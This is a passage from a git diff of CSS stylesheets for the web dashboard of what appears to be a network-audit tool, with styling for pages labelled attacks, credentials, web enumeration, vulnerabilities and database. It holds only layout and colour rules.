.detail-name { + font-size: 18px; + color: var(--_ink); +} + +.attacks-container .detail-meta { + color: var(--_muted); + font-size: 12px; + margin-left: 8px; +} + +.attacks-container .detail-desc { + color: var(--_muted); + font-size: 13px; +} + +.attacks-container .detail-section-label { + color: var(--_muted); + font-size: 12px; + text-transform: uppercase; + letter-spacing: .5px; + font-weight: 700; +} + +.attacks-container .detail-presets, +.attacks-container .detail-args, +.attacks-container .detail-free { + display: grid; + gap: 8px; + margin-bottom: 10px; +} + +.attacks-container .preset-chips { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.attacks-container .preset-chip { + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); + border-radius: 999px; + padding: 5px 10px; + cursor: pointer; +} + +.attacks-container .detail-fields { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); + gap: 10px; +} + +.attacks-container .arg-field { + display: grid; + gap: 6px; +} + +.attacks-container .arg-label { + color: var(--_muted); + font-size: 12px; +} + +.attacks-container .arg-ctl { + width: 100%; + padding: 8px 10px; + border-radius: 10px; + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); +} + +.attacks-container .arg-range-wrap { + display: grid; + grid-template-columns: 1fr auto; + gap: 8px; + align-items: center; +} + +.attacks-container .arg-range-val { + color: var(--_muted); + font-size: 12px; + min-width: 34px; + text-align: right; +} + +.attacks-container .detail-free-input { + width: 100%; + padding: 8px 10px; + border-radius: 10px; + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); +} + +.attacks-container .detail-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.attacks-container .attacks-console { + display: grid; + grid-template-rows: auto 1fr; + min-height: 0; +} + +.attacks-container .attacks-log { + overflow: auto; + min-height: 180px; + max-height: 48vh; + border: 1px solid var(--_border); + border-radius: 10px; + background: var(--grad-console); + padding: 10px; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; +} + +.attacks-container .log-line { + white-space: pre-wrap; + word-break: break-word; + font-size: 12px; + padding: 2px 0; +} + +.attacks-container .log-ok { + color: #9ff7c5; +} + +.attacks-container .log-warn { + color: #ffd27a; +} + +.attacks-container .log-err { + color: #ff99b3; +} + +.attacks-container .log-info { + color: #bfefff; +} + +.attacks-container .log-dim { + color: #7f97a8; +} + +@media (max-width: 1100px) { + .attacks-container.page-with-sidebar { + flex-direction: row; + } + + .attacks-container.page-with-sidebar .attacks-main { + min-width: 0; + } +} + +@media (max-width: 900px) { + .attacks-container.page-with-sidebar .attacks-main { + grid-template-rows: auto auto; + } +} + +/* ========================================================================== + SPA class compatibility aliases (visual parity with web_old) + ========================================================================== */ + +/* ---- Dashboard aliases ---- */ +.dashboard-container .grid-stack { + display: grid; + gap: var(--gap); +} + +.dashboard-container .state { + display: inline-flex; + align-items: center; +} + +.dashboard-container .key { + color: var(--_ink); + font-weight: 600; +} + +.dashboard-container .naked { + background: transparent; + box-shadow: none; + border: 0; +} + +/* ---- NetKB aliases ---- */ +.netkb-container .netkb-content { + min-height: 0; +} + +.netkb-container .netkb-empty { + border: 1px dashed var(--c-border-strong); + border-radius: 12px; + padding: 16px; + color: var(--muted); + text-align: center; + background: var(--panel); +} + +.netkb-container .badge-header { + display: block; + margin-bottom: 4px; +} + +.netkb-container .badge-status { + display: block; +} + +.netkb-container .badge-timestamp { + display: block; + margin-top: 4px; +} + +/* ---- Files module aliases ---- */ +.files-container .files-breadcrumb, +.files-container .files-toolbar { + border: 1px solid var(--_border); + border-radius: 12px; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + box-shadow: var(--_shadow); + backdrop-filter: blur(12px); + -webkit-backdrop-filter: blur(12px); +} + +.files-container .files-breadcrumb { + display: flex; + flex-wrap: wrap; + align-items: center; + gap: 6px; + padding: 8px 10px; +} + +.files-container .files-bc-item { + display: inline-flex; + align-items: center; + gap: 6px; + padding: 4px 8px; + border-radius: 8px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 96%, transparent); + color: var(--_ink); + cursor: pointer; +} + +.files-container .files-bc-item:hover { + filter: brightness(1.06); +} + +.files-container .files-bc-sep { + color: var(--_muted); +} + +.files-container .files-toolbar { + display: flex; + gap: 8px; + flex-wrap: wrap; + align-items: center; + padding: 8px; +} + +.files-container .global-search-input { + flex: 1; + min-width: 220px; + padding: 10px 12px; + border-radius: 10px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 96%, transparent); + color: var(--_ink); +} + +.files-container .global-search-input:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); +} + +.files-container .vuln-btn { + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 92%, transparent); + color: var(--_ink); + border-radius: 10px; + padding: 8px 10px; + cursor: pointer; + font-weight: 700; +} + +.files-container .vuln-btn:hover { + filter: brightness(1.06); +} + +.files-container .btn-sm { + padding: 4px 6px; + font-size: 12px; +} + +.files-container .btn-danger { + border-color: color-mix(in oklab, var(--danger) 40%, var(--_border)); + color: color-mix(in oklab, var(--danger) 80%, var(--_ink)); +} + +.files-container .files-table-list { + border: 1px solid var(--_border); + border-radius: 12px; + overflow: auto; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + box-shadow: var(--_shadow); +} + +.files-container .files-row { + display: grid; + grid-template-columns: 40px minmax(180px, 1fr) 120px 170px 140px; + align-items: center; + gap: 8px; + padding: 8px 10px; + border-bottom: 1px solid var(--_border); +} + +.files-container .files-header { + position: sticky; + top: 0; + z-index: 2; + font-weight: 800; + background: color-mix(in oklab, var(--_panel) 98%, transparent); +} + +.files-container .files-row.files-dir:hover, +.files-container .files-row.files-file:hover { + background: color-mix(in oklab, var(--_acid2) 10%, transparent); +} + +.files-container .files-cell { + min-width: 0; +} + +.files-container .files-name { + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.files-container .files-size, +.files-container .files-date { + color: var(--_muted); +} + +.files-container .files-actions { + display: inline-flex; + gap: 6px; + justify-content: flex-end; +} + +.files-container .sortable { + cursor: pointer; + user-select: none; +} + +.files-container .db-status { + color: var(--_muted); + font-size: 12px; + padding: 4px 2px; +} + +/* ========================================================================== + SPA runtime compatibility aliases (modules that use new class names) + ========================================================================== */ + +.muted { + color: var(--muted); +} + +/* ---- Actions Studio runtime aliases ---- */ +.studio-container:not(.studio-runtime-host) { + display: grid; + grid-template-columns: minmax(300px, 340px) 1fr; + gap: 10px; + min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar) - 12px); +} + +.studio-container:not(.studio-runtime-host) .studio-sidebar { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 12px; + background: var(--st-panel, var(--c-panel-2)); + box-shadow: var(--shadow); + display: grid; + grid-template-rows: auto 1fr; + overflow: hidden; + min-height: 0; +} + +.studio-container:not(.studio-runtime-host) .sidebar-header { + padding: 10px; + border-bottom: 1px dashed var(--st-border, var(--c-border)); + display: grid; + gap: 8px; +} + +.studio-container:not(.studio-runtime-host) .sidebar-list { + padding: 10px; + overflow: auto; + display: grid; + gap: 8px; +} + +.studio-container:not(.studio-runtime-host) .sidebar-item { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 10px; + background: var(--st-card, var(--c-panel)); + padding: 8px; + cursor: pointer; + transition: .18s; +} + +.studio-container:not(.studio-runtime-host) .sidebar-item:hover { + transform: translateX(2px); + box-shadow: var(--shadow); +} + +.studio-container:not(.studio-runtime-host) .sidebar-item.active { + outline: 2px solid color-mix(in oklab, var(--accent-2, #18f0ff) 45%, transparent); +} + +.studio-container:not(.studio-runtime-host) .sidebar-item-name { + font-weight: 700; +} + +.studio-container:not(.studio-runtime-host) .sidebar-item-meta, +.studio-container:not(.studio-runtime-host) .sidebar-item-info, +.studio-container:not(.studio-runtime-host) .sidebar-empty { + color: var(--muted); + font-size: 12px; +} + +.studio-container:not(.studio-runtime-host) .sidebar-delete-btn { + justify-self: end; +} + +.studio-container:not(.studio-runtime-host) .studio-main { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 12px; + background: var(--st-panel, var(--c-panel-2)); + box-shadow: var(--shadow); + padding: 10px; + display: grid; + grid-template-rows: auto 1fr; + gap: 10px; + min-height: 0; +} + +.studio-container:not(.studio-runtime-host) .studio-toolbar { + display: flex; + gap: 8px; + align-items: center; + flex-wrap: wrap; +} + +.studio-container:not(.studio-runtime-host) .toolbar-spacer { + flex: 1; +} + +.studio-container:not(.studio-runtime-host) .studio-btn { + border: 1px solid var(--st-border, var(--c-border-strong)); + background: var(--st-card, var(--c-panel)); + color: var(--st-text, var(--ink)); + border-radius: 10px; + padding: 8px 10px; + cursor: pointer; + font-weight: 700; +} + +.studio-container:not(.studio-runtime-host) .studio-btn:hover { + transform: translateY(-1px); + box-shadow: var(--shadow); +} + +.studio-container:not(.studio-runtime-host) .studio-panels { + display: grid; + grid-template-columns: 1.2fr .8fr; + gap: 10px; + min-height: 0; +} + +.studio-container:not(.studio-runtime-host) .studio-editor, +.studio-container:not(.studio-runtime-host) .studio-preview { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 12px; + background: var(--st-card, var(--c-panel)); + padding: 10px; + overflow: auto; + min-height: 0; +} + +.studio-container:not(.studio-runtime-host) .editor-form { + display: grid; + gap: 10px; +} + +.studio-container:not(.studio-runtime-host) .editor-section { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 10px; + padding: 10px; + background: var(--st-card2, var(--c-panel-2)); +} + +.studio-container:not(.studio-runtime-host) .section-title { + font-size: 12px; + text-transform: uppercase; + letter-spacing: .3px; + color: var(--muted); + margin-bottom: 8px; + font-weight: 700; +} + +.studio-container:not(.studio-runtime-host) .form-row { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 10px; +} + +.studio-container:not(.studio-runtime-host) .form-group { + display: grid; + gap: 6px; +} + +.studio-container:not(.studio-runtime-host) .field-label { + color: var(--muted); + font-size: 12px; +} + +.studio-container:not(.studio-runtime-host) .studio-input, +.studio-container:not(.studio-runtime-host) .studio-select, +.studio-container:not(.studio-runtime-host) .studio-textarea { + width: 100%; + border: 1px solid var(--st-border, var(--c-border-strong)); + border-radius: 10px; + background: var(--st-bg, var(--c-panel)); + color: var(--st-text, var(--ink)); + padding: 8px 10px; +} + +.studio-container:not(.studio-runtime-host) .studio-textarea { + min-height: 110px; + resize: vertical; +} + +.studio-container:not(.studio-runtime-host) .studio-input:focus, +.studio-container:not(.studio-runtime-host) .studio-select:focus, +.studio-container:not(.studio-runtime-host) .studio-textarea:focus { + outline: none; + box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent-2, #18f0ff) 35%, transparent); +} + +.studio-container:not(.studio-runtime-host) .args-list, +.studio-container:not(.studio-runtime-host) .req-list { + display: grid; + gap: 8px; +} + +.studio-container:not(.studio-runtime-host) .arg-row, +.studio-container:not(.studio-runtime-host) .req-row { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 10px; + padding: 8px; + background: var(--st-card, var(--c-panel)); +} + +.studio-container:not(.studio-runtime-host) .arg-row-header, +.studio-container:not(.studio-runtime-host) .req-row-header { + display: flex; + justify-content: space-between; + gap: 8px; + align-items: center; + margin-bottom: 6px; +} + +.studio-container:not(.studio-runtime-host) .arg-row-title { + font-weight: 700; +} + +.studio-container:not(.studio-runtime-host) .arg-row-body, +.studio-container:not(.studio-runtime-host) .req-p1, +.studio-container:not(.studio-runtime-host) .req-p2 { + display: grid; + gap: 8px; +} + +.studio-container:not(.studio-runtime-host) .arg-name, +.studio-container:not(.studio-runtime-host) .arg-type, +.studio-container:not(.studio-runtime-host) .arg-default, +.studio-container:not(.studio-runtime-host) .arg-desc, +.studio-container:not(.studio-runtime-host) .arg-required, +.studio-container:not(.studio-runtime-host) .req-type { + width: 100%; +} + +.studio-container:not(.studio-runtime-host) .full-width { + grid-column: 1 / -1; +} + +.studio-container:not(.studio-runtime-host) .json-preview { + margin: 0; + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 10px; + background: var(--grad-console); + color: var(--ink); + padding: 10px; + min-height: 240px; + white-space: pre-wrap; + word-break: break-word; +} + +.studio-container:not(.studio-runtime-host) .dirty-indicator { + color: var(--warning); + font-weight: 700; +} + +@media (max-width: 1100px) { + .studio-container { + grid-template-columns: 1fr; + } + + .studio-container .studio-panels { + grid-template-columns: 1fr; + } +} + +/* ---- Web Enum runtime aliases ---- */ +.webenum-container .webenum-controls { + display: grid; + gap: 10px; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + padding: 10px; + box-shadow: var(--shadow); +} + +.webenum-container .stats-bar { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); + gap: 10px; +} + +.webenum-container .stats-bar .stat-item { + background: var(--grad-card); + border-radius: 12px; + padding: 10px 12px; + text-align: center; + border: 1px solid var(--c-border); + box-shadow: var(--elev); + display: grid; + gap: 6px; + justify-items: center; +} + +.webenum-container .stats-bar .stat-value { + font-size: 26px; + font-weight: 800; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.webenum-container .stats-bar .stat-label { + color: var(--muted); + font-size: 12px; +} + +.webenum-container .global-search-container { + flex: 1; + min-width: 220px; + position: relative; +} + +.webenum-container .global-search-input { + width: 100%; + height: var(--control-h); + padding: 0 36px 0 var(--control-pad-x); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r); + background: var(--c-panel); + color: var(--ink); +} + +.webenum-container .global-search-input:focus { + outline: none; + border-color: var(--accent); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent) 28%, transparent); +} + +.webenum-container .clear-global-button { + position: absolute; + right: 8px; + top: 50%; + transform: translateY(-50%); + border: none; + background: none; + color: var(--danger); + cursor: pointer; + display: none; +} + +.webenum-container .clear-global-button.show { + display: inline-block; +} + +.webenum-container .webenum-filters { + display: flex; + gap: 8px; + flex-wrap: wrap; + align-items: center; +} + +.webenum-container .webenum-main-actions { + display: flex; + gap: 8px; + align-items: center; +} + +.webenum-container .webenum-filter-select, +.webenum-container .webenum-date-input { + border: 1px solid var(--c-border-strong); + border-radius: 10px; + background: var(--c-panel); + color: var(--ink); + padding: 8px 10px; +} + +.webenum-container .webenum-export-btns { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.webenum-container .vuln-btn { + border: 1px solid var(--c-border); + background: var(--c-panel); + color: var(--ink); + border-radius: var(--control-r); + padding: 8px 12px; + cursor: pointer; +} + +.webenum-container .vuln-btn:hover { + box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); +} + +.webenum-container .webenum-status-legend { + display: flex; + gap: 8px; + flex-wrap: wrap; + margin-top: 2px; +} + +.webenum-container .webenum-table-wrap { + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); + overflow: auto; +} + +.webenum-container .table-inner { + min-width: 100%; +} + +.webenum-container .webenum-table { + width: 100%; + border-collapse: collapse; +} + +.webenum-container .webenum-table th, +.webenum-container .webenum-table td { + padding: 8px 10px; + border-bottom: 1px dashed var(--c-border); + text-align: left; +} + +.webenum-container .webenum-table th { + position: sticky; + top: 0; + background: var(--c-panel); + z-index: 2; +} + +.webenum-container .webenum-row:hover { + background: color-mix(in oklab, var(--accent-2) 10%, transparent); +} + +.webenum-container .webenum-link { + color: var(--accent-2); + text-decoration: none; +} + +.webenum-container .webenum-link:hover { + text-decoration: underline; +} + +.webenum-container .webenum-dir-cell { + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; +} + +.webenum-container .webenum-pagination { + display: flex; + gap: 8px; + align-items: center; + justify-content: center; + flex-wrap: wrap; + margin-top: 8px; +} + +.webenum-container .webenum-perpage-wrap { + display: inline-flex; + gap: 6px; + align-items: center; +} + +.webenum-container .webenum-perpage { + border: 1px solid var(--c-border); + border-radius: 8px; + background: var(--c-panel); + color: var(--ink); + padding: 4px 8px; +} + +.webenum-container .modal-detail-section { + margin-bottom: 12px; +} + +.webenum-container .modal-section-title { + font-weight: 700; + margin-bottom: 4px; + color: var(--accent-2); +} + +.webenum-container .modal-section-text { + color: var(--ink); + line-height: 1.45; +} + +.webenum-container .webenum-modal-actions { + display: flex; + gap: 8px; + justify-content: flex-end; + margin-top: 8px; + flex-wrap: wrap; +} + +.webenum-container .page-loading { + padding: 18px; + color: var(--muted); + text-align: center; +} + +.webenum-container .vuln-modal { + display: none; + position: fixed; + inset: 0; + background: var(--glass-8); + z-index: 1000; +} + +.webenum-container .vuln-modal.show { + display: flex; + align-items: center; + justify-content: center; +} + +.webenum-container .vuln-modal-content { + background: var(--grad-modal); + border-radius: 12px; + max-width: 800px; + width: 90%; + max-height: 80vh; + overflow-y: auto; + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow-hover); +} + +.webenum-container .vuln-modal-header { + padding: 12px; + border-bottom: 1px solid var(--c-border); + display: flex; + justify-content: space-between; + align-items: center; + position: sticky; + top: 0; + background: var(--grad-quickpanel); + z-index: 1; +} + +.webenum-container .vuln-modal-title { + font-size: 18px; + font-weight: 800; +} + +.webenum-container .vuln-modal-close { + background: none; + border: none; + color: var(--muted); + font-size: 24px; + cursor: pointer; +} + +.webenum-container .vuln-modal-body { + padding: 12px; +} + +/* ---- Web Enum mobile responsive ---- */ +@media (max-width: 768px) { + .webenum-container .webenum-controls { + gap: 6px; + padding: 8px; + } + + .webenum-container .stats-bar { + grid-template-columns: repeat(4, 1fr); + gap: 4px; + } + + .webenum-container .stats-bar .stat-item { + padding: 4px 6px; + gap: 2px; + } + + .webenum-container .stats-bar .stat-value { + font-size: 16px; + } + + .webenum-container .stats-bar .stat-label { + font-size: 10px; + } + + .webenum-container .global-search-container { + min-width: 0; + width: 100%; + } + + .webenum-container .webenum-filters { + flex-direction: row; + flex-wrap: wrap; + align-items: center; + gap: 4px; + } + + .webenum-container .webenum-filter-select { + flex: 1; + min-width: 0; + padding: 6px 8px; + font-size: .82rem; + } + + .webenum-container .webenum-table th, + .webenum-container .webenum-table td { + padding: 6px 8px; + font-size: .82rem; + } + + .webenum-container .webenum-pagination { + gap: 4px; + } + + .webenum-container .webenum-table-wrap { + flex: 1; + min-height: 0; + } +} + +/* ---- Zombieland runtime aliases moved to zombieland.css ---- */ + +/* ---- Database runtime aliases ---- */ +.db-container .db-main { + display: flex; + flex-direction: column; + gap: 10px; + min-width: 0; + min-height: 0; + flex: 1 1 auto; +} + +.db-container .db-sidebar { + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); + padding: 0; + overflow: hidden; + min-height: 0; +} + +.db-container .db-toolbar { + display: flex; + gap: 8px; + align-items: center; + flex-wrap: wrap; +} + +.db-container .db-sidebar-filter, +.db-container .db-limit-select { + border: 1px solid var(--c-border); + border-radius: 8px; + background: var(--c-panel); + color: var(--ink); + padding: 6px 8px; +} + +.db-container .db-sidebar-filter { + width: 100%; +} + +.db-container .db-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.db-container .db-tree-group { + display: grid; + gap: 8px; + margin-top: 10px; +} + +.db-container .db-tree-icon { + width: 16px; + display: inline-flex; + justify-content: center; + flex: 0 0 16px; +} + +.db-container .db-tree-label { + font-size: 12px; + font-weight: 700; + color: var(--muted); + letter-spacing: .04em; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.db-container .db-thead, +.db-container .db-tbody { + display: table-row-group; +} + +.db-container .db-th, +.db-container .db-td { + display: table-cell; +} + +.db-container .db-th-sel, +.db-container .db-td-sel { + width: 44px; + text-align: center; +} + +.db-container .db-cell { + display: block; + min-width: 90px; + max-width: 420px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + border-radius: 6px; + padding: 2px 6px; +} + +.db-container .db-cell[contenteditable="true"]:focus { + outline: none; + background: color-mix(in oklab, var(--acid) 14%, transparent); + box-shadow: 0 0 0 1px var(--c-border-hi) inset; +} + +.db-container .db-live-label { + display: inline-flex; + align-items: center; + gap: 6px; + color: var(--muted); + font-size: 12px; +} + +.db-container .db-danger { + color: var(--danger); + display: flex; + gap: 8px; + flex-wrap: wrap; + align-items: center; + border: 1px dashed color-mix(in oklab, var(--danger) 45%, var(--c-border)); + border-radius: 10px; + padding: 8px; +} + +.db-container .db-status { + font-size: 12px; + color: var(--muted); + min-height: 16px; +} + +.db-container .db-empty-state { + padding: 40px; + text-align: center; + opacity: .6; +} + +@media (max-width: 1100px) { + .db-container .db-search-input { + min-width: 0; + width: 100%; + } +} + +.db-container.page-with-sidebar { + --page-sidebar-w: 320px; +} + +.db-container.page-with-sidebar .db-sidebar { + display: flex; + flex-direction: column; +} + +.db-container.page-with-sidebar .db-table-wrap { + min-height: 280px; +} + +.db-container .db-table-wrap table.db { + min-width: 640px; +} + +@media (max-width: 900px) { + .db-container.page-with-sidebar { + --page-sidebar-w: min(90vw, 340px); + } + + .db-container .db-actions { + display: grid; + grid-template-columns: repeat(2, minmax(0, 1fr)); + gap: 6px; + } + + .db-container .db-actions .vuln-btn { + width: 100%; + } + + .db-container .db-cell { + max-width: 240px; + } +} + +@media (max-width: 560px) { + .db-container .db-actions { + grid-template-columns: 1fr; + } + + .db-container .db-table-wrap table.db { + min-width: 520px; + } +} + +/* ---- Vulnerabilities runtime aliases ---- */ +.vuln-container .page-loading { + padding: 16px; + color: var(--muted); + text-align: center; +} + +.vuln-container .host-severity-pills { + display: flex; + gap: 6px; + flex-wrap: wrap; +} + +.vuln-container .host-vuln-info { + display: grid; + gap: 4px; +} + +.vuln-container .meta-label { + color: var(--muted); + font-size: 12px; +} + +.vuln-container .meta-value { + color: var(--ink); + font-size: 13px; +} + +.vuln-container .vuln-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.vuln-container .vuln-affected-table { + width: 100%; + border-collapse: collapse; +} + +.vuln-container .vuln-affected-table th, +.vuln-container .vuln-affected-table td { + padding: 8px; + border-bottom: 1px dashed var(--c-border); + text-align: left; +} + +.vuln-container .vuln-affected-row:hover { + background: color-mix(in oklab, var(--accent-2) 10%, transparent); +} + +.vuln-container .vuln-ref-link { + color: var(--accent-2); + text-decoration: none; +} + +.vuln-container .vuln-ref-link:hover { + text-decoration: underline; +} + +.vuln-container .modal-detail-section { + margin-bottom: 10px; +} + +.vuln-container .modal-section-title { + font-weight: 700; + margin-bottom: 4px; + color: var(--accent-2); +} + +.vuln-container .modal-section-text { + color: var(--ink); + line-height: 1.45; +} + +/* ---- Misc runtime aliases ---- */ +.backup-table { + width: 100%; + border-collapse: collapse; +} + +.backup-table th, +.backup-table td { + padding: 8px; + border-bottom: 1px dashed var(--c-border); + text-align: left; +} + +.backup-table th { + color: var(--muted); +} + +.page-loading { + color: var(--muted); + text-align: center; + padding: 16px; +} + +.network-container .network-empty { + padding: 14px; + text-align: center; + color: var(--muted); + border: 1px dashed var(--c-border); + border-radius: 10px; + background: var(--panel); +} + +.network-container .table-inner { + min-width: max-content; +} + +/* ---- Final parity aliases ---- */ +.actions-container .sidebar-page { + display: block; +} + +.vuln-container.page-with-sidebar { + --page-sidebar-w: 300px; +} + +.vuln-container.page-with-sidebar .vuln-sidebar { + min-height: 0; +} + +.vuln-container.page-with-sidebar .vuln-main { + min-width: 0; + display: flex; + flex-direction: column; + gap: 10px; +} + +.vuln-container.page-with-sidebar .vuln-main .vuln-controls { + margin-bottom: 0; +} + +.vuln-container.page-with-sidebar .vuln-main .vuln-severity-bar { + margin-bottom: 0; +} + +.vuln-container.page-with-sidebar .vuln-main .services-grid { + max-height: none; + min-height: 280px; +} + +.vuln-container.page-with-sidebar .stats-header { + display: grid; + gap: 10px; +} + +/* ---- Zombieland secondary aliases moved to zombieland.css ---- */ + +.bjorn-container .bjorn-epd-img { + image-rendering: auto; + border-radius: 10px; + box-shadow: var(--shadow); +} \ No newline at end of file diff --git a/web/css/pages/credentials.css b/web/css/pages/credentials.css new file mode 100644 index 0000000..0e3c0e4 --- /dev/null +++ b/web/css/pages/credentials.css @@ -0,0 +1,370 @@ +/* ===== CREDENTIALS ===== */ +.credentials-container { + display: flex; + flex-direction: column; + gap: 12px; + scroll-padding-top: 56px; +} + +.credentials-container .stats-bar { + display: flex; + gap: 12px; + flex-wrap: wrap; + padding: 12px; + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + box-shadow: var(--_shadow); + backdrop-filter: blur(16px); +} + +.credentials-container .stat-item { + display: flex; + align-items: center; + gap: 8px; + padding: 8px 12px; + border: 1px solid var(--_border); + border-radius: 10px; + background: color-mix(in oklab, var(--_panel) 70%, transparent); +} + +.credentials-container .stat-icon { + font-size: 1.1rem; + opacity: .9; +} + +.credentials-container .stat-value { + font-weight: 800; + background: linear-gradient(135deg, var(--_acid), var(--_acid2)); + -webkit-background-clip: text; + background-clip: text; + -webkit-text-fill-color: transparent; +} + +.credentials-container .stat-label { + color: var(--_muted); + font-size: .8rem; +} + +.credentials-container .global-search-container { + position: relative; +} + +.credentials-container .global-search-input { + width: 100%; + padding: 10px 14px; + border-radius: 12px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 90%, transparent); + color: var(--_ink); +} + +.credentials-container .global-search-input:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 40%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); +} + +.credentials-container .clear-global-button { + position: absolute; + right: 10px; + top: 50%; + transform: translateY(-50%); + background: none; + border: 1px solid var(--_border); + color: #ef4444; + border-radius: 8px; + padding: 2px 6px; + display: none; +} + +.credentials-container .clear-global-button.show { + display: block; +} + +.credentials-container .tabs-container { + position: sticky; + top: 0; + z-index: 20; + display: flex; + align-items: center; + gap: 8px; + padding: 8px 12px; + min-height: 44px; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + background: color-mix(in oklab, var(--_panel) 92%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + box-shadow: var(--_shadow); +} + +.credentials-container .tabs-container::-webkit-scrollbar { + height: 0; +} + +.credentials-container .tab { + padding: 10px 18px; + border-radius: 10px; + cursor: pointer; + color: var(--_muted); + font-weight: 700; + font-size: .9rem; + border: 1px solid transparent; + white-space: nowrap; + flex: 0 0 auto; +} + +.credentials-container .tab:hover { + background: rgba(255, 255, 255, .05); + color: var(--_ink); + border-color: var(--_border); +} + +.credentials-container .tab.active { + color: var(--_ink); + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid2) 18%, transparent), color-mix(in oklab, var(--_acid) 14%, transparent)); + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.credentials-container .tab-badge { + margin-left: 8px; + padding: 2px 6px; + border-radius: 999px; + background: rgba(255, 255, 255, .1); + border: 1px solid var(--_border); + font-size: .75rem; +} + +.credentials-container .services-grid { + display: flex; + flex-direction: column; + gap: 12px; +} + +.credentials-container .service-card { + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border: 1px solid var(--_border); + border-radius: 16px; + overflow: hidden; + box-shadow: var(--_shadow); +} + +.credentials-container .service-header { + display: flex; + align-items: center; + gap: 8px; + padding: 12px; + cursor: pointer; + user-select: none; + border-bottom: 1px solid color-mix(in oklab, var(--_border) 65%, transparent); +} + +.credentials-container .service-header:hover { + background: rgba(255, 255, 255, .04); +} + +.credentials-container .service-title { + flex: 1; + font-weight: 800; + letter-spacing: .2px; + font-size: .95rem; + text-transform: uppercase; + background: linear-gradient(135deg, var(--_acid), var(--_acid2)); + -webkit-background-clip: text; + background-clip: text; + -webkit-text-fill-color: transparent; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.credentials-container .service-count { + font-weight: 800; + font-size: .8rem; + padding: 4px 8px; + border-radius: 10px; + background: rgba(255, 255, 255, .08); + color: var(--_ink); + border: 1px solid var(--_border); +} + +.credentials-container .service-card[data-credentials]:not([data-credentials="0"]) .service-count { + background: linear-gradient(135deg, #2e2e2e, #4CAF50); + box-shadow: inset 0 0 0 1px rgba(76, 175, 80, .35); +} + +.credentials-container .search-container { + position: relative; +} + +.credentials-container .search-input { + padding: 6px 24px 6px 8px; + border: none; + border-radius: 10px; + background: rgba(255, 255, 255, .06); + color: var(--_ink); + font-size: .82rem; +} + +.credentials-container .search-input:focus { + outline: none; + background: rgba(255, 255, 255, .1); +} + +.credentials-container .clear-button { + position: absolute; + right: 4px; + top: 50%; + transform: translateY(-50%); + border: none; + background: none; + color: #ef4444; + cursor: pointer; + display: none; +} + +.credentials-container .clear-button.show { + display: block; +} + +.credentials-container .download-button { + border: 1px solid var(--_border); + background: rgba(255, 255, 255, .04); + color: var(--_muted); + border-radius: 8px; + padding: 4px 8px; + cursor: pointer; +} + +.credentials-container .download-button:hover { + color: #e99f00; + filter: brightness(1.06); +} + +.credentials-container .collapse-indicator { + color: var(--_muted); +} + +.credentials-container .service-card.collapsed .service-content { + max-height: 0; + overflow: hidden; +} + +.credentials-container .service-content { + padding: 8px 12px; +} + +.credentials-container .credential-item { + border: 1px solid var(--_border); + border-radius: 10px; + margin-bottom: 6px; + padding: 8px; + background: rgba(255, 255, 255, .02); + display: grid; + grid-template-columns: repeat(auto-fit, minmax(120px, 1fr)); + gap: 8px; +} + +.credentials-container .credential-field { + display: flex; + align-items: center; + gap: 6px; +} + +.credentials-container .field-label { + font-size: .78rem; + color: var(--_muted); +} + +.credentials-container .field-value { + flex: 1; + padding: 2px 6px; + border-radius: 8px; + cursor: pointer; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + border: 1px solid transparent; +} + +.credentials-container .field-value:hover { + background: rgba(255, 255, 